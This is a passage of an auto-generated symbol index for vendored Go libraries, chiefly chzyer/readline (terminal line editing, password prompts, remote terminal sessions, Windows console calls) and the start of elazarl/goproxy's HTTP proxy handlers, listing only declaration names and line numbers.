    method PasswordWithConfig (line 412) | func (o *Operation) PasswordWithConfig(cfg *Config) ([]byte, error) {
    method Password (line 420) | func (o *Operation) Password(prompt string) ([]byte, error) {
    method SetTitle (line 424) | func (o *Operation) SetTitle(t string) {
    method Slice (line 428) | func (o *Operation) Slice() ([]byte, error) {
    method Close (line 436) | func (o *Operation) Close() {
    method SetHistoryPath (line 440) | func (o *Operation) SetHistoryPath(path string) {
    method IsNormalMode (line 448) | func (o *Operation) IsNormalMode() bool {
    method SetConfig (line 452) | func (op *Operation) SetConfig(cfg *Config) (*Config, error) {
    method ResetHistory (line 487) | func (o *Operation) ResetHistory() {
    method SaveHistory (line 493) | func (o *Operation) SaveHistory(content string) error {
    method Refresh (line 497) | func (o *Operation) Refresh() {
    method Clean (line 503) | func (o *Operation) Clean() {
  type wrapWriter (line 41) | type wrapWriter struct
    method Write (line 47) | func (w *wrapWriter) Write(b []byte) (int, error) {
  function NewOperation (line 69) | func NewOperation(t *Terminal, cfg *Config) *Operation {
  function FuncListener (line 507) | func FuncListener(f func(line []rune, pos int, key rune) (newLine []rune...
  type DumpListener (line 511) | type DumpListener struct
    method OnChange (line 515) | func (d *DumpListener) OnChange(line []rune, pos int, key rune) (newLi...
  type Listener (line 519) | type Listener interface
  type Painter (line 523) | type Painter interface
  type defaultPainter (line 527) | type defaultPainter struct
    method Paint (line 529) | func (p *defaultPainter) Paint(line []rune, _ int) []rune {

FILE: vendor/github.com/chzyer/readline/password.go
  type opPassword (line 3) | type opPassword struct
    method ExitPasswordMode (line 12) | func (o *opPassword) ExitPasswordMode() {
    method EnterPasswordMode (line 17) | func (o *opPassword) EnterPasswordMode(cfg *Config) (err error) {
    method PasswordConfig (line 22) | func (o *opPassword) PasswordConfig() *Config {
  function newOpPassword (line 8) | func newOpPassword(o *Operation) *opPassword {

FILE: vendor/github.com/chzyer/readline/rawreader_windows.go
  constant VK_CANCEL (line 8) | VK_CANCEL   = 0x03
  constant VK_BACK (line 9) | VK_BACK     = 0x08
  constant VK_TAB (line 10) | VK_TAB      = 0x09
  constant VK_RETURN (line 11) | VK_RETURN   = 0x0D
  constant VK_SHIFT (line 12) | VK_SHIFT    = 0x10
  constant VK_CONTROL (line 13) | VK_CONTROL  = 0x11
  constant VK_MENU (line 14) | VK_MENU     = 0x12
  constant VK_ESCAPE (line 15) | VK_ESCAPE   = 0x1B
  constant VK_LEFT (line 16) | VK_LEFT     = 0x25
  constant VK_UP (line 17) | VK_UP       = 0x26
  constant VK_RIGHT (line 18) | VK_RIGHT    = 0x27
  constant VK_DOWN (line 19) | VK_DOWN     = 0x28
  constant VK_DELETE (line 20) | VK_DELETE   = 0x2E
  constant VK_LSHIFT (line 21) | VK_LSHIFT   = 0xA0
  constant VK_RSHIFT (line 22) | VK_RSHIFT   = 0xA1
  constant VK_LCONTROL (line 23) | VK_LCONTROL = 0xA2
  constant VK_RCONTROL (line 24) | VK_RCONTROL = 0xA3
  type RawReader (line 29) | type RawReader struct
    method Read (line 40) | func (r *RawReader) Read(buf []byte) (int, error) {
    method writeEsc (line 112) | func (r *RawReader) writeEsc(b []byte, char rune) (int, error) {
    method write (line 118) | func (r *RawReader) write(b []byte, char rune) (int, error) {
    method Close (line 123) | func (r *RawReader) Close() error {
  function NewRawReader (line 34) | func NewRawReader() *RawReader {

FILE: vendor/github.com/chzyer/readline/readline.go
  type Instance (line 22) | type Instance struct
    method ResetHistory (line 182) | func (i *Instance) ResetHistory() {
    method SetPrompt (line 186) | func (i *Instance) SetPrompt(s string) {
    method SetMaskRune (line 190) | func (i *Instance) SetMaskRune(r rune) {
    method SetHistoryPath (line 195) | func (i *Instance) SetHistoryPath(p string) {
    method Stdout (line 200) | func (i *Instance) Stdout() io.Writer {
    method Stderr (line 205) | func (i *Instance) Stderr() io.Writer {
    method SetVimMode (line 210) | func (i *Instance) SetVimMode(on bool) {
    method IsVimMode (line 214) | func (i *Instance) IsVimMode() bool {
    method GenPasswordConfig (line 218) | func (i *Instance) GenPasswordConfig() *Config {
    method ReadPasswordWithConfig (line 223) | func (i *Instance) ReadPasswordWithConfig(cfg *Config) ([]byte, error) {
    method ReadPasswordEx (line 227) | func (i *Instance) ReadPasswordEx(prompt string, l Listener) ([]byte, ...
    method ReadPassword (line 231) | func (i *Instance) ReadPassword(prompt string) ([]byte, error) {
    method Line (line 248) | func (i *Instance) Line() *Result {
    method Readline (line 254) | func (i *Instance) Readline() (string, error) {
    method ReadlineWithDefault (line 258) | func (i *Instance) ReadlineWithDefault(what string) (string, error) {
    method SaveHistory (line 263) | func (i *Instance) SaveHistory(content string) error {
    method ReadSlice (line 268) | func (i *Instance) ReadSlice() ([]byte, error) {
    method Close (line 273) | func (i *Instance) Close() error {
    method Clean (line 281) | func (i *Instance) Clean() {
    method Write (line 285) | func (i *Instance) Write(b []byte) (int, error) {
    method WriteStdin (line 299) | func (i *Instance) WriteStdin(val []byte) (int, error) {
    method SetConfig (line 303) | func (i *Instance) SetConfig(cfg *Config) *Config {
    method Refresh (line 314) | func (i *Instance) Refresh() {
    method HistoryDisable (line 319) | func (i *Instance) HistoryDisable() {
    method HistoryEnable (line 324) | func (i *Instance) HistoryEnable() {
  type Config (line 28) | type Config struct
    method useInteractive (line 86) | func (c *Config) useInteractive() bool {
    method Init (line 93) | func (c *Config) Init() error {
    method Clone (line 148) | func (c Config) Clone() *Config {
    method SetListener (line 154) | func (c *Config) SetListener(f func(line []rune, pos int, key rune) (n...
    method SetPainter (line 158) | func (c *Config) SetPainter(p Painter) {
  function NewEx (line 162) | func NewEx(cfg *Config) (*Instance, error) {
  function New (line 178) | func New(prompt string) (*Instance, error) {
  type Result (line 235) | type Result struct
    method CanContinue (line 240) | func (l *Result) CanContinue() bool {
    method CanBreak (line 244) | func (l *Result) CanBreak() bool {

FILE: vendor/github.com/chzyer/readline/remote.go
  type MsgType (line 15) | type MsgType
  constant T_DATA (line 18) | T_DATA = MsgType(iota)
  constant T_WIDTH (line 19) | T_WIDTH
  constant T_WIDTH_REPORT (line 20) | T_WIDTH_REPORT
  constant T_ISTTY_REPORT (line 21) | T_ISTTY_REPORT
  constant T_RAW (line 22) | T_RAW
  constant T_ERAW (line 23) | T_ERAW
  constant T_EOF (line 24) | T_EOF
  type RemoteSvr (line 27) | type RemoteSvr struct
    method init (line 78) | func (r *RemoteSvr) init(buf *bufio.Reader) error {
    method HandleConfig (line 102) | func (r *RemoteSvr) HandleConfig(cfg *Config) {
    method IsTerminal (line 116) | func (r *RemoteSvr) IsTerminal() bool {
    method checkEOF (line 120) | func (r *RemoteSvr) checkEOF() error {
    method Read (line 127) | func (r *RemoteSvr) Read(b []byte) (int, error) {
    method writeMsg (line 152) | func (r *RemoteSvr) writeMsg(m *Message) error {
    method Write (line 159) | func (r *RemoteSvr) Write(b []byte) (int, error) {
    method EnterRawMode (line 166) | func (r *RemoteSvr) EnterRawMode() error {
    method ExitRawMode (line 170) | func (r *RemoteSvr) ExitRawMode() error {
    method writeLoop (line 174) | func (r *RemoteSvr) writeLoop() {
    method Close (line 192) | func (r *RemoteSvr) Close() error {
    method readLoop (line 200) | func (r *RemoteSvr) readLoop(buf *bufio.Reader) {
    method GotIsTerminal (line 230) | func (r *RemoteSvr) GotIsTerminal(data []byte) {
    method GotReportWidth (line 238) | func (r *RemoteSvr) GotReportWidth(data []byte) {
    method GetWidth (line 245) | func (r *RemoteSvr) GetWidth() int {
  type writeReply (line 42) | type writeReply struct
  type writeCtx (line 47) | type writeCtx struct
  function newWriteCtx (line 52) | func newWriteCtx(msg *Message) *writeCtx {
  function NewRemoteSvr (line 59) | func NewRemoteSvr(conn net.Conn) (*RemoteSvr, error) {
  type Message (line 251) | type Message struct
    method WriteTo (line 276) | func (m *Message) WriteTo(w io.Writer) (int, error) {
  function ReadMessage (line 256) | func ReadMessage(r io.Reader) (*Message, error) {
  function NewMessage (line 272) | func NewMessage(t MsgType, data []byte) *Message {
  type RemoteCli (line 287) | type RemoteCli struct
    method MarkIsTerminal (line 306) | func (r *RemoteCli) MarkIsTerminal(is bool) {
    method init (line 310) | func (r *RemoteCli) init() error {
    method writeMsg (line 330) | func (r *RemoteCli) writeMsg(m *Message) error {
    method Write (line 337) | func (r *RemoteCli) Write(b []byte) (int, error) {
    method reportWidth (line 345) | func (r *RemoteCli) reportWidth() error {
    method reportIsTerminal (line 357) | func (r *RemoteCli) reportIsTerminal() error {
    method readLoop (line 377) | func (r *RemoteCli) readLoop() {
    method ServeBy (line 395) | func (r *RemoteCli) ServeBy(source io.Reader) error {
    method Close (line 414) | func (r *RemoteCli) Close() {
    method Serve (line 418) | func (r *RemoteCli) Serve() error {
  function NewRemoteCli (line 298) | func NewRemoteCli(conn net.Conn) (*RemoteCli, error) {
  function ListenRemote (line 422) | func ListenRemote(n, addr string, cfg *Config, h func(*Instance), onList...
  function HandleConn (line 449) | func HandleConn(cfg Config, conn net.Conn) (*Instance, error) {
  function DialRemote (line 463) | func DialRemote(n, addr string) error {

FILE: vendor/github.com/chzyer/readline/runebuf.go
  type runeBufferBck (line 12) | type runeBufferBck struct
  type RuneBuffer (line 17) | type RuneBuffer struct
    method pushKill (line 38) | func (r* RuneBuffer) pushKill(text []rune) {
    method OnWidthChange (line 42) | func (r *RuneBuffer) OnWidthChange(newWidth int) {
    method Backup (line 48) | func (r *RuneBuffer) Backup() {
    method Restore (line 54) | func (r *RuneBuffer) Restore() {
    method SetConfig (line 75) | func (r *RuneBuffer) SetConfig(cfg *Config) {
    method SetMask (line 82) | func (r *RuneBuffer) SetMask(m rune) {
    method CurrentWidth (line 88) | func (r *RuneBuffer) CurrentWidth(x int) int {
    method PromptLen (line 94) | func (r *RuneBuffer) PromptLen() int {
    method promptLen (line 101) | func (r *RuneBuffer) promptLen() int {
    method RuneSlice (line 105) | func (r *RuneBuffer) RuneSlice(i int) []rune {
    method Runes (line 119) | func (r *RuneBuffer) Runes() []rune {
    method Pos (line 127) | func (r *RuneBuffer) Pos() int {
    method Len (line 133) | func (r *RuneBuffer) Len() int {
    method MoveToLineStart (line 139) | func (r *RuneBuffer) MoveToLineStart() {
    method MoveBackward (line 148) | func (r *RuneBuffer) MoveBackward() {
    method WriteString (line 157) | func (r *RuneBuffer) WriteString(s string) {
    method WriteRune (line 161) | func (r *RuneBuffer) WriteRune(s rune) {
    method WriteRunes (line 165) | func (r *RuneBuffer) WriteRunes(s []rune) {
    method MoveForward (line 173) | func (r *RuneBuffer) MoveForward() {
    method IsCursorInEnd (line 182) | func (r *RuneBuffer) IsCursorInEnd() bool {
    method Replace (line 188) | func (r *RuneBuffer) Replace(ch rune) {
    method Erase (line 194) | func (r *RuneBuffer) Erase() {
    method Delete (line 202) | func (r *RuneBuffer) Delete() (success bool) {
    method DeleteWord (line 214) | func (r *RuneBuffer) DeleteWord() {
    method MoveToPrevWord (line 234) | func (r *RuneBuffer) MoveToPrevWord() (success bool) {
    method KillFront (line 253) | func (r *RuneBuffer) KillFront() {
    method Kill (line 267) | func (r *RuneBuffer) Kill() {
    method Transpose (line 274) | func (r *RuneBuffer) Transpose() {
    method MoveToNextWord (line 294) | func (r *RuneBuffer) MoveToNextWord() {
    method MoveToEndWord (line 307) | func (r *RuneBuffer) MoveToEndWord() {
    method BackEscapeWord (line 329) | func (r *RuneBuffer) BackEscapeWord() {
    method Yank (line 348) | func (r *RuneBuffer) Yank() {
    method Backspace (line 362) | func (r *RuneBuffer) Backspace() {
    method MoveToLineEnd (line 373) | func (r *RuneBuffer) MoveToLineEnd() {
    method LineCount (line 383) | func (r *RuneBuffer) LineCount(width int) int {
    method MoveTo (line 391) | func (r *RuneBuffer) MoveTo(ch rune, prevChar, reverse bool) (success ...
    method isInLineEdge (line 420) | func (r *RuneBuffer) isInLineEdge() bool {
    method getSplitByLine (line 428) | func (r *RuneBuffer) getSplitByLine(rs []rune) []string {
    method IdxLine (line 432) | func (r *RuneBuffer) IdxLine(width int) int {
    method idxLine (line 438) | func (r *RuneBuffer) idxLine(width int) int {
    method CursorLineCount (line 446) | func (r *RuneBuffer) CursorLineCount() int {
    method Refresh (line 450) | func (r *RuneBuffer) Refresh(f func()) {
    method SetOffset (line 468) | func (r *RuneBuffer) SetOffset(offset string) {
    method print (line 474) | func (r *RuneBuffer) print() {
    method output (line 479) | func (r *RuneBuffer) output() []byte {
    method getBackspaceSequence (line 512) | func (r *RuneBuffer) getBackspaceSequence() []byte {
    method Reset (line 542) | func (r *RuneBuffer) Reset() []rune {
    method calWidth (line 549) | func (r *RuneBuffer) calWidth(m int) int {
    method SetStyle (line 556) | func (r *RuneBuffer) SetStyle(start, end int, style string) {
    method SetWithIdx (line 574) | func (r *RuneBuffer) SetWithIdx(idx int, buf []rune) {
    method Set (line 581) | func (r *RuneBuffer) Set(buf []rune) {
    method SetPrompt (line 585) | func (r *RuneBuffer) SetPrompt(prompt string) {
    method cleanOutput (line 591) | func (r *RuneBuffer) cleanOutput(w io.Writer, idxLine int) {
    method Clean (line 613) | func (r *RuneBuffer) Clean() {
    method clean (line 619) | func (r *RuneBuffer) clean() {
    method cleanWithIdxLine (line 623) | func (r *RuneBuffer) cleanWithIdxLine(idxLine int) {
  function NewRuneBuffer (line 64) | func NewRuneBuffer(w io.Writer, prompt string, cfg *Config, width int) *...

FILE: vendor/github.com/chzyer/readline/runes.go
  type Runes (line 12) | type Runes struct
    method EqualRune (line 14) | func (Runes) EqualRune(a, b rune, fold bool) bool {
    method EqualRuneFold (line 32) | func (r Runes) EqualRuneFold(a, b rune) bool {
    method EqualFold (line 36) | func (r Runes) EqualFold(a, b []rune) bool {
    method Equal (line 50) | func (Runes) Equal(a, b []rune) bool {
    method IndexAllBckEx (line 62) | func (rs Runes) IndexAllBckEx(r, sub []rune, fold bool) int {
    method IndexAllBck (line 79) | func (rs Runes) IndexAllBck(r, sub []rune) int {
    method IndexAll (line 84) | func (rs Runes) IndexAll(r, sub []rune) int {
    method IndexAllEx (line 88) | func (rs Runes) IndexAllEx(r, sub []rune, fold bool) int {
    method Index (line 107) | func (Runes) Index(r rune, rs []rune) int {
    method ColorFilter (line 116) | func (Runes) ColorFilter(r []rune) []rune {
    method Width (line 146) | func (Runes) Width(r rune) int {
    method WidthAll (line 159) | func (Runes) WidthAll(r []rune) (length int) {
    method Backspace (line 166) | func (Runes) Backspace(r []rune) []byte {
    method Copy (line 170) | func (Runes) Copy(r []rune) []rune {
    method HasPrefixFold (line 176) | func (Runes) HasPrefixFold(r, prefix []rune) bool {
    method HasPrefix (line 183) | func (Runes) HasPrefix(r, prefix []rune) bool {
    method Aggregate (line 190) | func (Runes) Aggregate(candicate [][]rune) (same []rune, size int) {
    method TrimSpaceLeft (line 214) | func (Runes) TrimSpaceLeft(in []rune) []rune {

FILE: vendor/github.com/chzyer/readline/search.go
  constant S_STATE_FOUND (line 11) | S_STATE_FOUND = iota
  constant S_STATE_FAILING (line 12) | S_STATE_FAILING
  constant S_DIR_BCK (line 16) | S_DIR_BCK = iota
  constant S_DIR_FWD (line 17) | S_DIR_FWD
  type opSearch (line 20) | type opSearch struct
    method OnWidthChange (line 45) | func (o *opSearch) OnWidthChange(newWidth int) {
    method IsSearchMode (line 49) | func (o *opSearch) IsSearchMode() bool {
    method SearchBackspace (line 53) | func (o *opSearch) SearchBackspace() {
    method findHistoryBy (line 60) | func (o *opSearch) findHistoryBy(isNewSearch bool) (int, *list.Element) {
    method search (line 67) | func (o *opSearch) search(isChange bool) bool {
    method SearchChar (line 94) | func (o *opSearch) SearchChar(r rune) {
    method SearchMode (line 99) | func (o *opSearch) SearchMode(dir int) bool {
    method ExitSearchMode (line 115) | func (o *opSearch) ExitSearchMode(revert bool) {
    method SearchRefresh (line 127) | func (o *opSearch) SearchRefresh(x int) {
  function newOpSearch (line 35) | func newOpSearch(w io.Writer, buf *RuneBuffer, history *opHistory, cfg *...

FILE: vendor/github.com/chzyer/readline/std.go
  function getInstance (line 22) | func getInstance() *Instance {
  function SetHistoryPath (line 35) | func SetHistoryPath(fp string) {
  function SetAutoComplete (line 43) | func SetAutoComplete(completer AutoCompleter) {
  function AddHistory (line 52) | func AddHistory(content string) error {
  function Password (line 57) | func Password(prompt string) ([]byte, error) {
  function Line (line 63) | func Line(prompt string) (string, error) {
  type CancelableStdin (line 69) | type CancelableStdin struct
    method ioloop (line 90) | func (c *CancelableStdin) ioloop() {
    method Read (line 107) | func (c *CancelableStdin) Read(b []byte) (n int, err error) {
    method Close (line 128) | func (c *CancelableStdin) Close() error {
  function NewCancelableStdin (line 80) | func NewCancelableStdin(r io.Reader) *CancelableStdin {
  type FillableStdin (line 137) | type FillableStdin struct
    method ioloop (line 156) | func (s *FillableStdin) ioloop() {
    method Read (line 175) | func (s *FillableStdin) Read(p []byte) (n int, err error) {
    method Close (line 194) | func (s *FillableStdin) Close() error {
  function NewFillableStdin (line 146) | func NewFillableStdin(stdin io.Reader) (io.ReadCloser, io.Writer) {

FILE: vendor/github.com/chzyer/readline/std_windows.go
  function init (line 5) | func init() {

FILE: vendor/github.com/chzyer/readline/term.go
  type State (line 25) | type State struct
  function IsTerminal (line 30) | func IsTerminal(fd int) bool {
  function MakeRaw (line 38) | func MakeRaw(fd int) (*State, error) {
  function GetState (line 64) | func GetState(fd int) (*State, error) {
  function restoreTerm (line 75) | func restoreTerm(fd int, state *State) error {
  function ReadPassword (line 82) | func ReadPassword(fd int) ([]byte, error) {

FILE: vendor/github.com/chzyer/readline/term_bsd.go
  function getTermios (line 14) | func getTermios(fd int) (*Termios, error) {
  function setTermios (line 23) | func setTermios(fd int, termios *Termios) error {

FILE: vendor/github.com/chzyer/readline/term_linux.go
  constant ioctlReadTermios (line 15) | ioctlReadTermios = 0x5401
  constant ioctlWriteTermios (line 16) | ioctlWriteTermios = 0x5402
  function getTermios (line 18) | func getTermios(fd int) (*Termios, error) {
  function setTermios (line 27) | func setTermios(fd int, termios *Termios) error {

FILE: vendor/github.com/chzyer/readline/term_solaris.go
  function GetSize (line 12) | func GetSize(fd int) (int, int, error) {
  type Termios (line 20) | type Termios
  function getTermios (line 22) | func getTermios(fd int) (*Termios, error) {
  function setTermios (line 30) | func setTermios(fd int, termios *Termios) error {

FILE: vendor/github.com/chzyer/readline/term_unix.go
  type Termios (line 14) | type Termios
  function GetSize (line 17) | func GetSize(fd int) (int, int, error) {

FILE: vendor/github.com/chzyer/readline/term_windows.go
  constant enableLineInput (line 26) | enableLineInput       = 2
  constant enableEchoInput (line 27) | enableEchoInput       = 4
  constant enableProcessedInput (line 28) | enableProcessedInput  = 1
  constant enableWindowInput (line 29) | enableWindowInput     = 8
  constant enableMouseInput (line 30) | enableMouseInput      = 16
  constant enableInsertMode (line 31) | enableInsertMode      = 32
  constant enableQuickEditMode (line 32) | enableQuickEditMode   = 64
  constant enableExtendedFlags (line 33) | enableExtendedFlags   = 128
  constant enableAutoPosition (line 34) | enableAutoPosition    = 256
  constant enableProcessedOutput (line 35) | enableProcessedOutput = 1
  constant enableWrapAtEolOutput (line 36) | enableWrapAtEolOutput = 2
  type coord (line 48) | type coord struct
  type smallRect (line 52) | type smallRect struct
  type consoleScreenBufferInfo (line 58) | type consoleScreenBufferInfo struct
  type State (line 67) | type State struct
  function IsTerminal (line 72) | func IsTerminal(fd int) bool {
  function MakeRaw (line 81) | func MakeRaw(fd int) (*State, error) {
  function GetState (line 97) | func GetState(fd int) (*State, error) {
  function restoreTerm (line 108) | func restoreTerm(fd int, state *State) error {
  function GetSize (line 114) | func GetSize(fd int) (width, height int, err error) {
  function ReadPassword (line 126) | func ReadPassword(fd int) ([]byte, error) {

FILE: vendor/github.com/chzyer/readline/terminal.go
  type Terminal (line 12) | type Terminal struct
    method SleepToResume (line 43) | func (t *Terminal) SleepToResume() {
    method EnterRawMode (line 56) | func (t *Terminal) EnterRawMode() (err error) {
    method ExitRawMode (line 60) | func (t *Terminal) ExitRawMode() (err error) {
    method Write (line 64) | func (t *Terminal) Write(b []byte) (int, error) {
    method WriteStdin (line 70) | func (t *Terminal) WriteStdin(b []byte) (int, error) {
    method GetOffset (line 79) | func (t *Terminal) GetOffset(f func(offset string)) {
    method Print (line 86) | func (t *Terminal) Print(s string) {
    method PrintRune (line 90) | func (t *Terminal) PrintRune(r rune) {
    method Readline (line 94) | func (t *Terminal) Readline() *Operation {
    method ReadRune (line 99) | func (t *Terminal) ReadRune() rune {
    method IsReading (line 107) | func (t *Terminal) IsReading() bool {
    method KickRead (line 111) | func (t *Terminal) KickRead() {
    method ioloop (line 118) | func (t *Terminal) ioloop() {
    method Bell (line 200) | func (t *Terminal) Bell() {
    method Close (line 204) | func (t *Terminal) Close() error {
    method GetConfig (line 216) | func (t *Terminal) GetConfig() *Config {
    method getStdin (line 223) | func (t *Terminal) getStdin() io.Reader {
    method SetConfig (line 230) | func (t *Terminal) SetConfig(c *Config) error {
  function NewTerminal (line 26) | func NewTerminal(cfg *Config) (*Terminal, error) {
  type termSize (line 74) | type termSize struct

FILE: vendor/github.com/chzyer/readline/utils.go
  constant CharLineStart (line 21) | CharLineStart = 1
  constant CharBackward (line 22) | CharBackward  = 2
  constant CharInterrupt (line 23) | CharInterrupt = 3
  constant CharDelete (line 24) | CharDelete    = 4
  constant CharLineEnd (line 25) | CharLineEnd   = 5
  constant CharForward (line 26) | CharForward   = 6
  constant CharBell (line 27) | CharBell      = 7
  constant CharCtrlH (line 28) | CharCtrlH     = 8
  constant CharTab (line 29) | CharTab       = 9
  constant CharCtrlJ (line 30) | CharCtrlJ     = 10
  constant CharKill (line 31) | CharKill      = 11
  constant CharCtrlL (line 32) | CharCtrlL     = 12
  constant CharEnter (line 33) | CharEnter     = 13
  constant CharNext (line 34) | CharNext      = 14
  constant CharPrev (line 35) | CharPrev      = 16
  constant CharBckSearch (line 36) | CharBckSearch = 18
  constant CharFwdSearch (line 37) | CharFwdSearch = 19
  constant CharTranspose (line 38) | CharTranspose = 20
  constant CharCtrlU (line 39) | CharCtrlU     = 21
  constant CharCtrlW (line 40) | CharCtrlW     = 23
  constant CharCtrlY (line 41) | CharCtrlY     = 25
  constant CharCtrlZ (line 42) | CharCtrlZ     = 26
  constant CharEsc (line 43) | CharEsc       = 27
  constant CharEscapeEx (line 44) | CharEscapeEx  = 91
  constant CharBackspace (line 45) | CharBackspace = 127
  constant MetaBackward (line 49) | MetaBackward rune = -iota - 1
  constant MetaForward (line 50) | MetaForward
  constant MetaDelete (line 51) | MetaDelete
  constant MetaBackspace (line 52) | MetaBackspace
  constant MetaTranspose (line 53) | MetaTranspose
  function WaitForResume (line 59) | func WaitForResume() chan struct{} {
  function Restore (line 81) | func Restore(fd int, state *State) error {
  function IsPrintable (line 94) | func IsPrintable(key rune) bool {
  function escapeExKey (line 100) | func escapeExKey(key *escapeKeyPair) rune {
  type escapeKeyPair (line 124) | type escapeKeyPair struct
    method Get2 (line 129) | func (e *escapeKeyPair) Get2() (int, int, bool) {
  function readEscKey (line 145) | func readEscKey(r rune, reader *bufio.Reader) *escapeKeyPair {
  function escapeKey (line 163) | func escapeKey(r rune, reader *bufio.Reader) rune {
  function SplitByLine (line 191) | func SplitByLine(start, screenWidth int, rs []rune) []string {
  function LineCount (line 210) | func LineCount(screenWidth, w int) int {
  function IsWordBreak (line 218) | func IsWordBreak(i rune) bool {
  function GetInt (line 229) | func GetInt(s []string, def int) int {
  type RawMode (line 240) | type RawMode struct
    method Enter (line 244) | func (r *RawMode) Enter() (err error) {
    method Exit (line 249) | func (r *RawMode) Exit() error {
  function sleep (line 258) | func sleep(n int) {
  function debugList (line 264) | func debugList(l *list.List) {
  function Debug (line 273) | func Debug(o ...interface{}) {

FILE: vendor/github.com/chzyer/readline/utils_unix.go
  type winsize (line 13) | type winsize struct
  function SuspendMe (line 23) | func SuspendMe() {
  function getWidth (line 31) | func getWidth(stdoutFd int) int {
  function GetScreenWidth (line 39) | func GetScreenWidth() int {
  function ClearScreen (line 48) | func ClearScreen(w io.Writer) (int, error) {
  function DefaultIsTerminal (line 52) | func DefaultIsTerminal() bool {
  function GetStdin (line 56) | func GetStdin() int {
  function DefaultOnWidthChanged (line 67) | func DefaultOnWidthChanged(f func()) {

FILE: vendor/github.com/chzyer/readline/utils_windows.go
  function SuspendMe (line 10) | func SuspendMe() {
  function GetStdin (line 13) | func GetStdin() int {
  function init (line 17) | func init() {
  function GetScreenWidth (line 22) | func GetScreenWidth() int {
  function ClearScreen (line 31) | func ClearScreen(_ io.Writer) error {
  function DefaultIsTerminal (line 35) | func DefaultIsTerminal() bool {
  function DefaultOnWidthChanged (line 39) | func DefaultOnWidthChanged(func()) {

FILE: vendor/github.com/chzyer/readline/vim.go
  constant VIM_NORMAL (line 4) | VIM_NORMAL = iota
  constant VIM_INSERT (line 5) | VIM_INSERT
  constant VIM_VISUAL (line 6) | VIM_VISUAL
  type opVim (line 9) | type opVim struct
    method SetVimMode (line 24) | func (o *opVim) SetVimMode(on bool) {
    method ExitVimMode (line 32) | func (o *opVim) ExitVimMode() {
    method IsEnableVimMode (line 36) | func (o *opVim) IsEnableVimMode() bool {
    method handleVimNormalMovement (line 40) | func (o *opVim) handleVimNormalMovement(r rune, readNext func() rune) ...
    method handleVimNormalEnterInsert (line 98) | func (o *opVim) handleVimNormalEnterInsert(r rune, readNext func() run...
    method HandleVimNormal (line 133) | func (o *opVim) HandleVimNormal(r rune, readNext func() rune) (t rune) {
    method EnterVimInsertMode (line 153) | func (o *opVim) EnterVimInsertMode() {
    method ExitVimInsertMode (line 157) | func (o *opVim) ExitVimInsertMode() {
    method HandleVim (line 161) | func (o *opVim) HandleVim(r rune, readNext func() rune) rune {
  function newVimMode (line 15) | func newVimMode(op *Operation) *opVim {

FILE: vendor/github.com/chzyer/readline/windows_api.go
  type Kernel (line 17) | type Kernel struct
    method Wrap (line 105) | func (k *Kernel) Wrap(p *syscall.LazyProc) CallFunc {
  type short (line 28) | type short
  type word (line 29) | type word
  type dword (line 30) | type dword
  type wchar (line 31) | type wchar
  type _COORD (line 33) | type _COORD struct
    method ptr (line 38) | func (c *_COORD) ptr() uintptr {
  constant EVENT_KEY (line 43) | EVENT_KEY                = 0x0001
  constant EVENT_MOUSE (line 44) | EVENT_MOUSE              = 0x0002
  constant EVENT_WINDOW_BUFFER_SIZE (line 45) | EVENT_WINDOW_BUFFER_SIZE = 0x0004
  constant EVENT_MENU (line 46) | EVENT_MENU               = 0x0008
  constant EVENT_FOCUS (line 47) | EVENT_FOCUS              = 0x0010
  type _KEY_EVENT_RECORD (line 50) | type _KEY_EVENT_RECORD struct
  type _INPUT_RECORD (line 64) | type _INPUT_RECORD struct
  type _CONSOLE_SCREEN_BUFFER_INFO (line 70) | type _CONSOLE_SCREEN_BUFFER_INFO struct
  type _SMALL_RECT (line 78) | type _SMALL_RECT struct
  type _CONSOLE_CURSOR_INFO (line 85) | type _CONSOLE_CURSOR_INFO struct
  type CallFunc (line 90) | type CallFunc
  function NewKernel (line 92) | func NewKernel() *Kernel {
  function GetConsoleScreenBufferInfo (line 135) | func GetConsoleScreenBufferInfo() (*_CONSOLE_SCREEN_BUFFER_INFO, error) {
  function GetConsoleCursorInfo (line 144) | func GetConsoleCursorInfo() (*_CONSOLE_CURSOR_INFO, error) {
  function SetConsoleCursorPosition (line 150) | func SetConsoleCursorPosition(c *_COORD) error {

FILE: vendor/github.com/elazarl/goproxy/actions.go
  type ReqHandler (line 10) | type ReqHandler interface
  type FuncReqHandler (line 15) | type FuncReqHandler
    method Handle (line 18) | func (f FuncReqHandler) Handle(req *http.Request, ctx *ProxyCtx) (*htt...
  type RespHandler (line 26) | type RespHandler interface
  type FuncRespHandler (line 31) | type FuncRespHandler
    method Handle (line 34) | func (f FuncRespHandler) Handle(resp *http.Response, ctx *ProxyCtx) *h...
  type HttpsHandler (line 47) | type HttpsHandler interface
  type FuncHttpsHandler (line 52) | type FuncHttpsHandler
    method HandleConnect (line 55) | func (f FuncHttpsHandler) HandleConnect(host string, ctx *ProxyCtx) (*...

FILE: vendor/github.com/elazarl/goproxy/certs.go
  function init (line 8) | func init() {

FILE: vendor/github.com/elazarl/goproxy/chunked.go
  function newChunkedWriter (line 19) | func newChunkedWriter(w io.Writer) io.WriteCloser {
  type chunkedWriter (line 25) | type chunkedWriter struct
    method Write (line 32) | func (cw *chunkedWriter) Write(data []byte) (n int, err error) {
    method Close (line 56) | func (cw *chunkedWriter) Close() error {

FILE: vendor/github.com/elazarl/goproxy/counterecryptor.go
  type CounterEncryptorRand (line 13) | type CounterEncryptorRand struct
    method Seed (line 46) | func (c *CounterEncryptorRand) Seed(b []byte) {
    method refill (line 53) | func (c *CounterEncryptorRand) refill() {
    method Read (line 63) | func (c *CounterEncryptorRand) Read(b []byte) (n int, err error) {
  function NewCounterEncryptorRandFromKey (line 20) | func NewCounterEncryptorRandFromKey(key interface{}, seed []byte) (r Cou...

FILE: vendor/github.com/elazarl/goproxy/ctx.go
  type ProxyCtx (line 11) | type ProxyCtx struct
    method RoundTrip (line 42) | func (ctx *ProxyCtx) RoundTrip(req *http.Request) (*http.Response, err...
    method printf (line 49) | func (ctx *ProxyCtx) printf(msg string, argv ...interface{}) {
    method Logf (line 61) | func (ctx *ProxyCtx) Logf(msg string, argv ...interface{}) {
    method Warnf (line 78) | func (ctx *ProxyCtx) Warnf(msg string, argv ...interface{}) {
    method Charset (line 87) | func (ctx *ProxyCtx) Charset() string {
  type RoundTripper (line 28) | type RoundTripper interface
  type CertStorage (line 32) | type CertStorage interface
  type RoundTripperFunc (line 36) | type RoundTripperFunc
    method RoundTrip (line 38) | func (f RoundTripperFunc) RoundTrip(req *http.Request, ctx *ProxyCtx) ...

FILE: vendor/github.com/elazarl/goproxy/dispatcher.go
  type ReqCondition (line 14) | type ReqCondition interface
